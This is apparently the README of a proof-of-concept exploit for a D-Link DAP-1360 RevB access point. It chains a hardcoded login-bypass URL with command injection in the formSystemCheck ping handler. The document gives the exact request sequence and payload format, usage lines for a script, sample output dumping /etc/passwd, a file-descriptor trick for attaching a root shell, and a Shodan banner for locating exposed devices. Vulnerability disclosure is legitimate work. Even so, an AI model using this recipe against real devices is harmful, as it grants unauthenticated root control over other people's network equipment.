CVE-2026-95675 — D-Link DAP-1360 RevB

Unauthenticated remote root command execution (CWE-78 — OS Command Injection) in the formSystemCheck handler, reachable via a hardcoded authentication backdoor. Verified against DAP-1360 RevB, firmware 2.14B05.

Root Cause

Two independent issues chained:

1. Hardcoded auth-bypass path. In main (httpd @ 0x4064c8):

strcasecmp(request_path, "dEfWzDLOgIn")   ; token @ 0x48046c
  ...
  sw 1, 8(sp_login_slot)                  ; mark this source-IP as logged in

GET /dEfWzDLOgIn returns 404 (it is not a real file) but, as a side effect, flags the requesting source IP's session slot as authenticated — no username, password, or captcha required.

2. OS command injection. formSystemCheck (POST /apply.cgi?formSystemCheck) builds a shell command with:

_system("ping %s -c 2 >/tmp/test_ping", cgi("ipv4_ping"))

ipv4_ping is passed unsanitized into the format string; _system() uses vsprintf into a fixed stack buffer and hands it to system(). The handler performs no auth check of its own.

Parser caveat

The busybox POST-body parser strips ;, |, backtick, and newline, but && survives. A payload must terminate the prefix ping and then chain with &&, e.g.:

127.0.0.1 -c 1 && <command> > /www/out.htm && x

Usage

python3 autopoc.py <target> [command]

python3 autopoc.py 192.168.0.50
python3 autopoc.py 192.168.0.50 "ls -la /"

How it works

1. GET /dEfWzDLOgIn — triggers the hardcoded auth bypass (returns 404; side effect happens server-side).
2. POST /apply.cgi?formSystemCheck with ipv4_ping=127.0.0.1 -c 1 && <cmd> > /www/<OUT> && x — root command injection.
3. GET /<OUT> — retrieves the command output (httpd serves .htm/.html, not .txt).

Output

[*] target   : 192.168.0.50
[*] command  : cat /etc/passwd
[*] GET /dEfWzDLOgIn -> 404 (login slot flagged)
[*] POST /apply.cgi?formSystemCheck -> 302
[+] output (RCE.htm):
------------------------------------------------------------
root:x:0:0:root:/:/dev/null
nobody:x:0:0:nobody:/:/dev/null
------------------------------------------------------------

Notes / limitations

• Device busybox has no nc, wget, base64, chmod, id — use cat, echo, ls, cp, etc.
• Output is written into the world-writable docroot and fetched over HTTP (no listener required).
• For an interactive shell, the injected process inherits the client socket as fd 5; combined with httpd deferring the response until _system() returns, sh <&5 >&5 2>&5 can attach a shell to the live connection (fragile under user-mode QEMU; better on real hardware).
• Not applicable to DAP-1360 RevC1 / firmware 3.00 or the "D-Link Russia" DIR/xDSL builds — different endpoints, docroot and parser. Those require separate analysis.

Exposure

Shodan ("CAMEO-httpd", the httpd vendor banner) shows only a small number of internet-exposed instances of this exact codebase; the device is primarily a LAN-side access point. Exploitation requires reachability of the web management interface.